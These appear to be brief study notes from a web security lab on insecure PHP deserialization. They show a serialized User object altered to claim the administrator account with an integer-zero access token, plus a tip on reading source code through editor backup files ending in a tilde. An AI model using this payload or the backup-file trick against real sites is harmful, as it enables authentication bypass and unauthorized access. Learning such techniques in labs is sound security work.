Insecure deserialization

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kseao410ayd7ok9g46wy5gtml15a0p2e";}

# the number is the lenght of the value, when the value is null or 0, then use i:0
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

You can sometimes read source code by appending a tilde (~) to a filename to retrieve an editor-generated backup file.